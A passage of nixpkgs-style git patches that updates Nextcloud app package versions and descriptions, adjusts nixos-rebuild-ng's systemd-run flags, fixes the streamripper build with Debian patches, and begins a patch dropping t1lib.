-    "description": "The Calendar app is a user interface for Nextcloud's CalDAV server. Easily sync events from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Currently Contacts - more to come.\n* 🌐 **WebCal Support!** Want to see your favorite team’s matchdays in your calendar? No problem!\n* 🙋 **Attendees!** Invite people to your events\n* ⌚️ **Free/Busy!** See when your attendees are available to meet\n* ⏰ **Reminders!** Get alarms for events inside your browser and via email\n* 🔍 Search! Find your events at ease\n* ☑️ Tasks! See tasks with a due date directly in the calendar\n* 🙈 **We’re not reinventing the wheel!** Based on the great [c-dav library](https://github.com/nextcloud/cdav-library), [ical.js](https://github.com/mozilla-comm/ical.js) and [fullcalendar](https://github.com/fullcalendar/fullcalendar) libraries.",
+    "hash": "sha256-vsqyTtHDTjB4POwQyDtlAPnb8nBQw0ZTBnBUqP4Kw9A=",
+    "url": "https://github.com/nextcloud-releases/calendar/releases/download/v5.3.2/calendar-v5.3.2.tar.gz",
+    "version": "5.3.2",
+    "description": "A Calendar app for Nextcloud. Easily sync events from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Like Contacts, Talk, Tasks, Deck and Circles\n* 🌐 **WebCal Support!** Want to see your favorite team's matchdays in your calendar? No problem!\n* 🙋 **Attendees!** Invite people to your events\n* ⌚ **Free/Busy!** See when your attendees are available to meet\n* ⏰ **Reminders!** Get alarms for events inside your browser and via email\n* 🔍 **Search!** Find your events at ease\n* ☑️ **Tasks!** See tasks or Deck cards with a due date directly in the calendar\n* 🔈 **Talk rooms!** Create an associated Talk room when booking a meeting with just one click\n* 📆 **Appointment booking** Send people a link so they can book an appointment with you [using this app](https://apps.nextcloud.com/apps/appointments)\n* 📎 **Attachments!** Add, upload and view event attachments\n* 🙈 **We’re not reinventing the wheel!** Based on the great [c-dav library](https://github.com/nextcloud/cdav-library), [ical.js](https://github.com/mozilla-comm/ical.js) and [fullcalendar](https://github.com/fullcalendar/fullcalendar) libraries.",
     "homepage": "https://github.com/nextcloud/calendar/",
     "licenses": [
       "agpl"
     ]
   },
   "collectives": {
-    "hash": "sha256-U6EQumuN7b309JtaWwdbluQcK7Gpt5O6q9fJu6qyVhE=",
-    "url": "https://github.com/nextcloud/collectives/releases/download/v2.17.0/collectives-2.17.0.tar.gz",
-    "version": "2.17.0",
+    "hash": "sha256-RCpIfoSmYahIo03IumJwEn/06ZeqOhJ/ov5WKGvwcUA=",
+    "url": "https://github.com/nextcloud/collectives/releases/download/v2.18.0/collectives-2.18.0.tar.gz",
+    "version": "2.18.0",
     "description": "Collectives is a Nextcloud App for activist and community projects to organize together.\nCome and gather in collectives to build shared knowledge.\n\n* 👥 **Collective and non-hierarchical workflow by heart**: Collectives are\n  tied to a [Nextcloud Team](https://github.com/nextcloud/circles) and\n  owned by the collective.\n* 📝 **Collaborative page editing** like known from Etherpad thanks to the\n  [Text app](https://github.com/nextcloud/text).\n* 🔤 **Well-known [Markdown](https://en.wikipedia.org/wiki/Markdown) syntax**\n  for page formatting.\n\n## Installation\n\nIn your Nextcloud instance, simply navigate to **»Apps«**, find the\n**»Teams«** and **»Collectives«** apps and enable them.",
     "homepage": "https://github.com/nextcloud/collectives",
     "licenses": [
@@ -40,9 +40,9 @@
     ]
   },
   "contacts": {
-    "hash": "sha256-OYObGIEAViBMWesL/kNv4FHO7SSa73rdVjklwuyPSrY=",
-    "url": "https://github.com/nextcloud-releases/contacts/releases/download/v7.1.0/contacts-v7.1.0.tar.gz",
-    "version": "7.1.0",
+    "hash": "sha256-uT1QOZpuKvsrnZWYbaQUhUdM49xdIivotFe6FAz330I=",
+    "url": "https://github.com/nextcloud-releases/contacts/releases/download/v7.1.3/contacts-v7.1.3.tar.gz",
+    "version": "7.1.3",
     "description": "The Nextcloud contacts app is a user interface for Nextcloud's CardDAV server. Easily sync contacts from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Currently Mail and Calendar – more to come.\n* 🎉 **Never forget a birthday!** You can sync birthdays and other recurring events with your Nextcloud Calendar.\n* 👥 **Sharing of Adressbooks!** You want to share your contacts with your friends or coworkers? No problem!\n* 🙈 **We’re not reinventing the wheel!** Based on the great and open SabreDAV library.",
     "homepage": "https://github.com/nextcloud/contacts#readme",
     "licenses": [
@@ -83,7 +83,7 @@
     "hash": "sha256-Wojv/UzDT9v9bVaC8K7GqaQYVTE4GoRG2ztHALZktLk=",
     "url": "https://github.com/nextcloud-releases/end_to_end_encryption/releases/download/v1.17.0/end_to_end_encryption-v1.17.0.tar.gz",
     "version": "1.17.0",
-    "description": "This app provides all the necessary APIs to implement End-to-End encryption on the client side.\nAdditionally it implements Secure FileDrop and makes sure that End-to-End encrypted files are neither accessible via the web interface nor other WebDAV clients.",
+    "description": "Provides the necessary endpoint to enable end-to-end encryption.\n\n**Notice:** E2EE is currently not compatible to be used together with server-side encryption",
     "homepage": "https://github.com/nextcloud/end_to_end_encryption",
     "licenses": [
       "agpl"
@@ -140,9 +140,9 @@
     ]
   },
   "groupfolders": {
-    "hash": "sha256-lFIXNbBqdRHEvNFu2P68IF4v0+E4rFWLdRJYWm3RM/k=",
-    "url": "https://github.com/nextcloud-releases/groupfolders/releases/download/v19.0.4/groupfolders-v19.0.4.tar.gz",
-    "version": "19.0.4",
+    "hash": "sha256-GEM5Xw8J2xFOTf9AOlOttVXo25E/x4foT9493J9ZIf4=",
+    "url": "https://github.com/nextcloud-releases/groupfolders/releases/download/v19.1.0/groupfolders-v19.1.0.tar.gz",
+    "version": "19.1.0",
     "description": "Admin configured folders shared with everyone in a team.\n\nFolders can be configured from *Team folders* in the admin settings.\n\nAfter a folder is created, the admin can give access to the folder to one or more teams, control their write/sharing permissions and assign a quota for the folder.",
     "homepage": "https://github.com/nextcloud/groupfolders",
     "licenses": [
@@ -190,9 +190,9 @@
     ]
   },
   "mail": {
-    "hash": "sha256-uDig7ySWlx7WqYzjB9H45p3a9EfUFxY3Es0dso6uQJs=",
-    "url": "https://github.com/nextcloud-releases/mail/releases/download/v5.0.7/mail-v5.0.7.tar.gz",
-    "version": "5.0.7",
+    "hash": "sha256-P2LeJOjCR6ufq26gz4aK/Xy359vwnD2TZJodn/YfXcU=",
+    "url": "https://github.com/nextcloud-releases/mail/releases/download/v5.1.3/mail-v5.1.3.tar.gz",
+    "version": "5.1.3",
     "description": "**💌 A mail app for Nextcloud**\n\n- **🚀 Integration with other Nextcloud apps!** Currently Contacts, Calendar & Files – more to come.\n- **📥 Multiple mail accounts!** Personal and company account? No problem, and a nice unified inbox. Connect any IMAP account.\n- **🔒 Send & receive encrypted mails!** Using the great [Mailvelope](https://mailvelope.com) browser extension.\n- **🙈 We’re not reinventing the wheel!** Based on the great [Horde](https://www.horde.org) libraries.\n- **📬 Want to host your own mail server?** We do not have to reimplement this as you could set up [Mail-in-a-Box](https://mailinabox.email)!\n\n## Ethical AI Rating\n\n### Priority Inbox\n\nPositive:\n* The software for training and inferencing of this model is open source.\n* The model is created and trained on-premises based on the user's own data.\n* The training data is accessible to the user, making it possible to check or correct for bias or optimise the performance and CO2 usage.\n\n### Thread Summaries (opt-in)\n\n**Rating:** 🟢/🟡/🟠/🔴\n\nThe rating depends on the installed text processing backend. See [the rating overview](https://docs.nextcloud.com/server/latest/admin_manual/ai/index.html) for details.\n\nLearn more about the Nextcloud Ethical AI Rating [in our blog](https://nextcloud.com/blog/nextcloud-ethical-ai-rating/).",
     "homepage": "https://github.com/nextcloud/mail#readme",
     "licenses": [
@@ -230,9 +230,9 @@
     ]
   },
   "news": {
-    "hash": "sha256-trXnDSSFyr5HKXaS1S3XrlSAUiiT+8B+kP0lg+exLcs=",
-    "url": "https://github.com/nextcloud/news/releases/download/25.3.1/news.tar.gz",
-    "version": "25.3.1",
+    "hash": "sha256-T/ZKL4YWw0ai7mZ9gm91BUl6Md6hyTakYgKsarSYO4k=",
+    "url": "https://github.com/nextcloud/news/releases/download/26.0.1/news.tar.gz",
+    "version": "26.0.1",
     "description": "📰 A RSS/Atom Feed reader App for Nextcloud\n\n- 📲 Synchronize your feeds with multiple mobile or desktop [clients](https://nextcloud.github.io/news/clients/)\n- 🔄 Automatic updates of your news feeds\n- 🆓 Free and open source under AGPLv3, no ads or premium functions\n\n**System Cron is currently required for this app to work**\n\nRequirements can be found [here](https://nextcloud.github.io/news/install/#dependencies)\n\nThe Changelog is available [here](https://github.com/nextcloud/news/blob/master/CHANGELOG.md)\n\nCreate a [bug report](https://github.com/nextcloud/news/issues/new/choose)\n\nCreate a [feature request](https://github.com/nextcloud/news/discussions/new)\n\nReport a [feed issue](https://github.com/nextcloud/news/discussions/new)",
     "homepage": "https://github.com/nextcloud/news",
     "licenses": [
@@ -240,9 +240,9 @@
     ]
   },
   "notes": {
-    "hash": "sha256-UdqK6DiC67YPcy84wFEZaT8AQLDhhNndLiEesQeBY7M=",
-    "url": "https://github.com/nextcloud-releases/notes/releases/download/v4.12.0/notes-v4.12.0.tar.gz",
-    "version": "4.12.0",
+    "hash": "sha256-/Zym7bNotcdradtR3cG+rIaAH9jZs+/3PCP7zXS6WJo=",
+    "url": "https://github.com/nextcloud-releases/notes/releases/download/v4.12.1/notes-v4.12.1.tar.gz",
+    "version": "4.12.1",
     "description": "The Notes app is a distraction free notes taking app for [Nextcloud](https://www.nextcloud.com/). It provides categories for better organization and supports formatting using [Markdown](https://en.wikipedia.org/wiki/Markdown) syntax. Notes are saved as files in your Nextcloud, so you can view and edit them with every Nextcloud client. Furthermore, a separate [REST API](https://github.com/nextcloud/notes/blob/master/docs/api/README.md) allows for an easy integration into apps ([Android](https://github.com/nextcloud/notes-android), [iOS](https://github.com/nextcloud/notes-ios), as well as [3rd-party apps](https://github.com/nextcloud/notes/wiki#3rd-party-clients) which allow convenient access to your Nextcloud notes). Further features include marking notes as favorites.",
     "homepage": "https://github.com/nextcloud/notes",
     "licenses": [
@@ -260,9 +260,9 @@
     ]
   },
   "onlyoffice": {
-    "hash": "sha256-lOkVGOo2ylTaRVDFGD31DMUb3IbteWgFkHEj0Ox0D84=",
-    "url": "https://github.com/ONLYOFFICE/onlyoffice-nextcloud/releases/download/v9.8.0/onlyoffice.tar.gz",
-    "version": "9.8.0",
+    "hash": "sha256-Nj8siAeNyN/lyq+K5y92ZXMqRLmhawtR9Q6b5dq7LL0=",
+    "url": "https://github.com/ONLYOFFICE/onlyoffice-nextcloud/releases/download/v9.9.0/onlyoffice.tar.gz",
+    "version": "9.9.0",
     "description": "ONLYOFFICE app allows you to view, edit and collaborate on text documents, spreadsheets and presentations within Nextcloud using ONLYOFFICE Docs. This will create a new Edit in ONLYOFFICE action within the document library for Office documents. This allows multiple users to co-author documents in real time from the familiar web interface and save the changes back to your file storage.",
     "homepage": "https://www.onlyoffice.com",
     "licenses": [
@@ -280,9 +280,9 @@
     ]
   },
   "polls": {
-    "hash": "sha256-zatPm8JY1WkeO2Uvm9BUVPXrJp0df12jspqSNNuZVh0=",
-    "url": "https://github.com/nextcloud-releases/polls/releases/download/v7.4.2/polls-v7.4.2.tar.gz",
-    "version": "7.4.2",
+    "hash": "sha256-AJUC5UIz6xY75cEJHfNjhUm9K9HnXWMokt9gIOcq8vI=",
+    "url": "https://github.com/nextcloud-releases/polls/releases/download/v7.4.3/polls-v7.4.3.tar.gz",
+    "version": "7.4.3",
     "description": "A polls app, similar to Doodle/Dudle with the possibility to restrict access (members, certain groups/users, hidden and public).",
     "homepage": "https://github.com/nextcloud/polls",
     "licenses": [
@@ -330,9 +330,9 @@
     ]
   },
   "richdocuments": {
-    "hash": "sha256-fxVopw6n+0wU+OMiR3QFw1c/8YrzVMTtFfRharvNl0A=",
-    "url": "https://github.com/nextcloud-releases/richdocuments/releases/download/v8.6.5/richdocuments-v8.6.5.tar.gz",
-    "version": "8.6.5",
+    "hash": "sha256-3tCUe7mXgUpmWSWd1y7uYGc3yBk2C26QLPAOcfsUEjY=",
+    "url": "https://github.com/nextcloud-releases/richdocuments/releases/download/v8.7.0/richdocuments-v8.7.0.tar.gz",
+    "version": "8.7.0",
     "description": "This application can connect to a Collabora Online (or other) server (WOPI-like Client). Nextcloud is the WOPI Host. Please read the documentation to learn more about that.\n\nYou can also edit your documents off-line with the Collabora Office app from the **[Android](https://play.google.com/store/apps/details?id=com.collabora.libreoffice)** and **[iOS](https://apps.apple.com/us/app/collabora-office/id1440482071)** store.",
     "homepage": "https://collaboraoffice.com/",
     "licenses": [
@@ -340,19 +340,19 @@
     ]
   },
   "sociallogin": {
-    "hash": "sha256-DNf48YmVJ49v+lynTCIBTZhPi/S1mjyIF5OWf+UVKeY=",
-    "url": "https://github.com/zorn-v/nextcloud-social-login/releases/download/v6.0.1/release.tar.gz",
-    "version": "6.0.1",
-    "description": "# Social login\n\nMake possible create users and login via Telegram, OAuth or OpenID\n\nFor OAuth you must create app for certain providers. Login button appear at login page if app id specified. Settings are in \"Social login\" section of settings page.\n\n## Installation\n\nLogin to your NextCloud installation as an administrator and under \"Apps\" click \"Download and enable\" next to the \"Social Login\" app.\n\nSee below for setup and configuration instructions.\n\n\n\n## Custom OAuth2/OIDC groups\n\nYou can use groups from your custom provider. For that you should specify \"Groups claim\" in custom OAuth2/OIDC provider settings. That claim should be returned from provider in `id_token` or at user info endpoint. Format should be `array` or comma separated string. Eg (with claim named `roles`)\n\n```json\n{\"roles\": [\"admin\", \"user\"]}\n```\nor\n```json\n{\"roles\": \"admin,user\"}\n```\n\nAlso nested claims is supported. For example `resource_access.client-id.roles` for\n\n```json\n\"resource_access\": {\n   \"client-id\": {\n     \"roles\": [\n       \"client-role-1\",\n       \"client-role-2\"\n     ]\n   }\n}\n```\n\nThere is also support for setting the displayName:\n```\n{\"roles\": [{gid: 1, displayName: \"admin\"}, {gid: 2, displayName: \"user\"}]}\n```\n\n\nYou can use provider groups in two ways:\n\n1. Map provider groups to existing nextcloud groups\n2. Create provider groups in nextcloud and associate it to user (if appropriate option specified)\n\nIf you want sync groups on every login do not forget to check \"Update user profile every login\" setting\n\n## Examples for groups\n\n* You can find example how to configure WSO2IS for return roles claim with OIDC [here](https://medium.com/@dewni.matheesha/claim-mapping-and-retrieving-end-user-information-in-wso2is-cffd5f3937ff)\n* [GitLab OIDC allowing specific GitLab groups](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/gitlab.md)\n\n## Built-in OAuth providers\n\nYou can copy link of certain login button to get proper \"redirect url\" for OAuth app setting.\n\n* [Google](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/google.md)\n* [Amazon](https://developer.amazon.com/loginwithamazon/console/site/lwa/overview.html)\n* [Facebook](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/facebook.md)\n* [Twitter](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/twitter.md)\n* [GitHub](https://github.com/settings/developers)\n* [Discord](#configure-discord)\n* [Telegram](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/telegram.md)\n* PlexTv - you can use any title as app id\n* [Codeberg](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/codeberg.md)\n\nDetails about \"Allow login only from specified domain\" google setting you can find here [#44](https://github.com/zorn-v/nextcloud-social-login/issues/44)\nYou can use comma separated list for multiple domains\n\n## Config\n\nYou can use `'social_login_auto_redirect' => true` setting in `config.php` for auto redirect unauthorized users to social login if only one provider is configured.\nIf you want to temporary disable this function (e.g. for login as local admin), you can add `noredir=1` query parameter in url for login page. Something like `https://cloud.domain.com/login?noredir=1`\n\nTo set options for http client, you can use\n```php\n  'social_login_http_client' => [\n    'timeout' => 45,\n    'proxy' => 'socks4://127.0.0.1:9050', // Check https://curl.se/libcurl/c/CURLOPT_PROXY.html for allowed variants\n  ],\n```\nin `config.php`\n\n### Configurate a provider via CLI\n\nYou can configure everything from commandline by using the occ utility. To setup a oidc-provider replace the variables and URLs with values that match your deployment.\n```bash\nphp occ config:app:set sociallogin custom_providers --value='{\"custom_oidc\": [{\"name\": \"gitlab_oidc\", \"title\": \"Gitlab\", \"authorizeUrl\": \"https://gitlab.my-domain.org/oauth/authorize\", \"tokenUrl\": \"https://gitlab.my-domain.org/oauth/token\", \"userInfoUrl\": \"https://gitlab.my-domain.org/oauth/userinfo\", \"logoutUrl\": \"\", \"clientId\": \"$my_application_id\", \"clientSecret\": \"$my_super_secret_secret\", \"scope\": \"openid\", \"groupsClaim\": \"groups\", \"style\": \"gitlab\", \"defaultGroup\": \"\"}]}'\n```\nto do this with docker you just need to add `docker exec -t -uwww-data CONTAINER_NAME` in front of the command, or run it interactively from `docker exec -it -uwww-data CONTAINER_NAME sh`\n\nTo find out how to configure other providers, just configure them in the GUI and take a look at the database afterwards:\n```\nmysql -u nextcloud -p nextcloud\nPassword: <yourpassword>\n\n> SELECT * FROM oc_appconfig WHERE appid='sociallogin';\n```\n\nOr just run\n\n`docker exec -t -uwww-data CONTAINER_NAME php occ config:app:get sociallogin custom_providers`\n\n### Configure Discord\n\nTo properly configure discord you have to:\n\n1. Create new discord application on [DiscordApp developers](https://discordapp.com/developers/applications/me#top)\n2. Open tab `Settings -> OAuth2 -> General`. In `Redirects` add new redirection link looking like this: `https://nextcloud.mydomain.com/apps/sociallogin/oauth/discord`.\n3. Copy `CLIENT ID` and generate and copy `CLIENT SECRET`\n4. Open in Nextcloud `Settings -> Social Login` and paste `CLIENT ID` into field `App id` and `CLIENT SECRET` into `Secret`.\n5. Select default group for users created this way.\n6. For group mapping check [#395](https://github.com/zorn-v/nextcloud-social-login/pull/395)\n\n## Hint\n\n### About Callback(Reply) Url\nYou can copy link from specific login button on login page and paste it on provider's website as callback url. To make proper button visible, just fill certain provider settings with random data and change it later.\n\nSome users may get strange reply(Callback) url error from provider even if you pasted the right url, that's because your nextcloud server may generate http urls when you are actually using https.\nPlease set 'overwriteprotocol' => 'https', in your config.php file.",
+    "hash": "sha256-wNDmu4IdpjZSw3ppWJpQ13q7/2l5B71m76Lzs/SHkkY=",
+    "url": "https://github.com/zorn-v/nextcloud-social-login/releases/download/v6.0.2/release.tar.gz",
+    "version": "6.0.2",
+    "description": "# Social Login\n\nMake it possible to create users and log in via Telegram, OAuth, or OpenID.\n\nFor OAuth, you must create an app with certain providers. Login buttons will appear on the login page if an app ID is specified. Settings are located in the \"Social login\" section of the settings page.\n\n## Installation\n\nLog in to your Nextcloud installation as an administrator. Under \"Apps\", click \"Download and enable\" next to the \"Social Login\" app.\n\nSee below for setup and configuration instructions.\n\n## Custom OAuth2/OIDC Groups\n\nYou can use groups from your custom provider. For this, specify the \"Groups claim\" in the custom OAuth2/OIDC provider settings. This claim should be returned from the provider in the `id_token` or at the user info endpoint. The format should be an `array` or a comma-separated string. E.g., (with a claim named `roles`):\n\n```json\n{\"roles\": [\"admin\", \"user\"]}\n```\nor\n```json\n{\"roles\": \"admin,user\"}\n```\n\nNested claims are also supported. For example, `resource_access.client-id.roles` for:\n\n```json\n\"resource_access\": {\n   \"client-id\": {\n     \"roles\": [\n       \"client-role-1\",\n       \"client-role-2\"\n     ]\n   }\n}\n```\n\n**DisplayName** support is also available:\n```json\n{\"roles\": [{\"gid\": 1, \"displayName\": \"admin\"}, {\"gid\": 2, \"displayName\": \"user\"}]}\n```\n\nYou can use provider groups in two ways:\n\n1. Map provider groups to existing Nextcloud groups.\n2. Create provider groups in Nextcloud and associate them with users (if the appropriate option is enabled).\n\nTo sync groups on every login, ensure the \"Update user profile every login\" setting is checked.\n\n## Examples for Groups\n\n* Configure WSO2IS to return a roles claim with OIDC [here](https://medium.com/@dewni.matheesha/claim-mapping-and-retrieving-end-user-information-in-wso2is-cffd5f3937ff).\n* [GitLab OIDC configuration to allow specific GitLab groups](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/gitlab.md).\n\n## Built-in OAuth Providers\n\nCopy the link from a specific login button to get the correct \"redirect URL\" for OAuth app settings.\n\n* [Amazon](https://developer.amazon.com/loginwithamazon/console/site/lwa/overview.html)\n* [Apple](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/apple.md)\n* [Codeberg](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/codeberg.md)\n* [Discord](#configure-discord)\n* [Facebook](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/facebook.md)\n* [GitHub](https://github.com/settings/developers)\n* [GitLab](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/gitlab.md)\n* [Google](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/google.md)\n* [Keycloak](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/keycloak.md)\n* [Mail.ru](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/mailru.md)\n* **PlexTv**: Use any title as the app ID.\n* [Telegram](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/telegram.md)\n* [Twitter](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/twitter.md)\n\nFor details about Google's \"Allow login only from specified domain\" setting, see [#44](https://github.com/zorn-v/nextcloud-social-login/issues/44). Use a comma-separated list for multiple domains.\n\n## Configuration\n\nAdd `'social_login_auto_redirect' => true` to `config.php` to automatically redirect unauthorized users to social login if only one provider is configured. To temporarily disable this (e.g., for local admin login), add `noredir=1` to the login URL: `https://cloud.domain.com/login?noredir=1`.\n\nConfigure HTTP client options using:\n```php\n  'social_login_http_client' => [\n    'timeout' => 45,\n    'proxy' => 'socks4://127.0.0.1:9050', // See <https://curl.se/libcurl/c/CURLOPT_PROXY.html> for allowed formats\n  ],\n```\nin `config.php`.\n\n### Configure a Provider via CLI\n\nUse the `occ` utility to configure providers via the command line. Replace variables and URLs with your deployment values:\n```bash\nphp occ config:app:set sociallogin custom_providers --value='{\"custom_oidc\": [{\"name\": \"gitlab_oidc\", \"title\": \"Gitlab\", \"authorizeUrl\": \"https://gitlab.my-domain.org/oauth/authorize\", \"tokenUrl\": \"https://gitlab.my-domain.org/oauth/token\", \"userInfoUrl\": \"https://gitlab.my-domain.org/oauth/userinfo\", \"logoutUrl\": \"\", \"clientId\": \"$my_application_id\", \"clientSecret\": \"$my_super_secret_secret\", \"scope\": \"openid\", \"groupsClaim\": \"groups\", \"style\": \"gitlab\", \"defaultGroup\": \"\"}]}'\n```\nFor Docker, prepend `docker exec -t -uwww-data CONTAINER_NAME` to the command or run interactively via `docker exec -it -uwww-data CONTAINER_NAME sh`.\n\nTo inspect configurations:\n```sql\nmysql -u nextcloud -p nextcloud\nPassword: <yourpassword>\n\n> SELECT * FROM oc_appconfig WHERE appid='sociallogin';\n```\nOr run:\n```bash\ndocker exec -t -uwww-data CONTAINER_NAME php occ config:app:get sociallogin custom_providers\n```\n\n### Configure Discord\n\n1. Create a Discord application at [Discord Developer Portal](https://discord.com/developers/applications).\n2. Navigate to `Settings > OAuth2 > General`. Add a redirect URL: `https://nextcloud.mydomain.com/apps/sociallogin/oauth/discord`.\n3. Copy the `CLIENT ID` and generate a `CLIENT SECRET`.\n4. In Nextcloud, go to `Settings > Social Login`. Paste the `CLIENT ID` into \"App id\" and `CLIENT SECRET` into \"Secret\".\n5. Select a default group for new users.\n6. For group mapping, see [#395](https://github.com/zorn-v/nextcloud-social-login/pull/395).\n\n## Hint\n\n### Callback (Reply) URL\nCopy the link from a login button on the Nextcloud login page and use it as the callback URL on your provider's site. To make the button visible temporarily, fill provider settings with placeholder data and update later.\n\nIf you encounter callback URL errors despite correct settings, ensure your Nextcloud server generates HTTPS URLs by adding `'overwriteprotocol' => 'https'` to `config.php`.",
     "homepage": "https://github.com/zorn-v/nextcloud-social-login",
     "licenses": [
       "agpl"
     ]
   },
   "spreed": {
-    "hash": "sha256-O0W1olbpau+GjYdND/IYMl3GJntsG9p51VRbmRWksTI=",
-    "url": "https://github.com/nextcloud-releases/spreed/releases/download/v21.0.4/spreed-v21.0.4.tar.gz",
-    "version": "21.0.4",
+    "hash": "sha256-DxwK3PMsLTxbdjyM10rX6wveRFCr8EoIGToKSkaMwYM=",
+    "url": "https://github.com/nextcloud-releases/spreed/releases/download/v21.1.0/spreed-v21.1.0.tar.gz",
+    "version": "21.1.0",
     "description": "Chat, video & audio-conferencing using WebRTC\n\n* 💬 **Chat** Nextcloud Talk comes with a simple text chat, allowing you to share or upload files from your Nextcloud Files app or local device and mention other participants.\n* 👥 **Private, group, public and password protected calls!** Invite someone, a whole group or send a public link to invite to a call.\n* 🌐 **Federated chats** Chat with other Nextcloud users on their servers\n* 💻 **Screen sharing!** Share your screen with the participants of your call.\n* 🚀 **Integration with other Nextcloud apps** like Files, Calendar, User status, Dashboard, Flow, Maps, Smart picker, Contacts, Deck, and many more.\n* 🌉 **Sync with other chat solutions** With [Matterbridge](https://github.com/42wim/matterbridge/) being integrated in Talk, you can easily sync a lot of other chat solutions to Nextcloud Talk and vice-versa.",
     "homepage": "https://github.com/nextcloud/spreed",
     "licenses": [
@@ -380,9 +380,9 @@
     ]
   },
   "twofactor_webauthn": {
-    "hash": "sha256-16Silofm/alQaKZ2buNqyLEjKK2kR2IpTAxEawHpGjI=",
-    "url": "https://github.com/nextcloud-releases/twofactor_webauthn/releases/download/v2.1.0/twofactor_webauthn-v2.1.0.tar.gz",
-    "version": "2.1.0",
+    "hash": "sha256-cfityMvl6BLsxkGkR3Mm61AZsykC7KjDkDRIyFAQP4c=",
+    "url": "https://github.com/nextcloud-releases/twofactor_webauthn/releases/download/v2.2.0/twofactor_webauthn-v2.2.0.tar.gz",
+    "version": "2.2.0",
     "description": "A two-factor provider for WebAuthn devices",
     "homepage": "https://github.com/nextcloud/twofactor_webauthn#readme",
     "licenses": [
@@ -399,6 +399,16 @@
       "agpl"
     ]
   },
+  "unsplash": {
+    "hash": "sha256-j0cQem+KLQFxj19DIqK6wqYYDs31V1VfVobH5JZ89RM=",
+    "url": "https://github.com/nextcloud-releases/unsplash/releases/download/v3.1.0/unsplash-v3.1.0.tar.gz",
+    "version": "3.1.0",
+    "description": "Show a new random featured nature photo in your nextcloud. Now with choosable motives!",
+    "homepage": "https://github.com/nextcloud/unsplash/",
+    "licenses": [
+      "agpl"
+    ]
+  },
   "uppush": {
     "hash": "sha256-3QD3gtCfhs9tWrbiiPPV7lYxpzGQhc31unSZukcrvN0=",
     "url": "https://codeberg.org/NextPush/uppush/archive/2.3.0.tar.gz",

From 8c716b70001310dcf2ad7c66ca5f0d688067d8e7 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Thu, 12 Jun 2025 13:41:43 +0100
Subject: [PATCH 0914/4511] nixos-rebuild-ng: run systemd-run with / as the
 working directory

See #353079.

(cherry picked from commit 82e054032be2eccdd4fa55bbae566b5f2390762d)
---
 pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
index f4f3db5f13b5..3be610b5ddbd 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
@@ -41,7 +41,6 @@ SWITCH_TO_CONFIGURATION_CMD_PREFIX: Final = [
     "--no-ask-password",
     "--pipe",
     "--quiet",
-    "--same-dir",
     "--service-type=exec",
     "--unit=nixos-rebuild-switch-to-configuration",
 ]

From da9e947685bedaead6c487bfb42c4cbf723b57f1 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Wed, 11 Jun 2025 19:31:28 -0400
Subject: [PATCH 0915/4511] streamripper: fix build

It broke with gcc 14. As a bonus, I also fetch a bugfix patch.

(cherry picked from commit 959cf4ce561c1c742ffd47595fbbad93fcede1f7)
---
 pkgs/by-name/st/streamripper/package.nix | 22 ++++++++++++++++++----
 1 file changed, 18 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/st/streamripper/package.nix b/pkgs/by-name/st/streamripper/package.nix
index 50ec647755ab..22ee95b0e381 100644
--- a/pkgs/by-name/st/streamripper/package.nix
+++ b/pkgs/by-name/st/streamripper/package.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchurl,
+  fetchDebianPatch,
   glib,
   pkg-config,
   libogg,
@@ -18,6 +19,23 @@ stdenv.mkDerivation rec {
     sha256 = "0hnyv3206r0rfprn3k7k6a0j959kagsfyrmyjm3gsf3vkhp5zmy1";
   };
 
+  patches = [
+    # fix build with gcc 14
+    (fetchDebianPatch {
+      inherit pname version;
+      debianRevision = "2";
+      patch = "1075541-gcc14";
+      hash = "sha256-30bz7CDmbq+Bd+jTKSq7aJsXUJQAQp3nnJZvt3Qbp8Q=";
+    })
+    # fix parse of URIs containing colons (https://bugs.debian.org/873964)
+    (fetchDebianPatch {
+      inherit pname version;
+      debianRevision = "2";
+      patch = "873964-http";
+      hash = "sha256-D6koUCbnJHtRuq2zZy9VrxymuGXN1COacbQhphgB8qo=";
+    })
+  ];
+
   nativeBuildInputs = [ pkg-config ];
   buildInputs = [
     glib
@@ -26,10 +44,6 @@ stdenv.mkDerivation rec {
     libmad
   ];
 
-  makeFlags = [
-    "AR:=$(AR)"
-  ];
-
   meta = with lib; {
     homepage = "https://streamripper.sourceforge.net/";
     description = "Application that lets you record streaming mp3 to your hard drive";

From fb0434c8955f751ffa8762758aff3508962bd796 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Wed, 11 Jun 2025 20:19:06 -0400
Subject: [PATCH 0916/4511] t1lib: drop

Unmaintained upstream for ~10 years, currently broken with gcc 14.

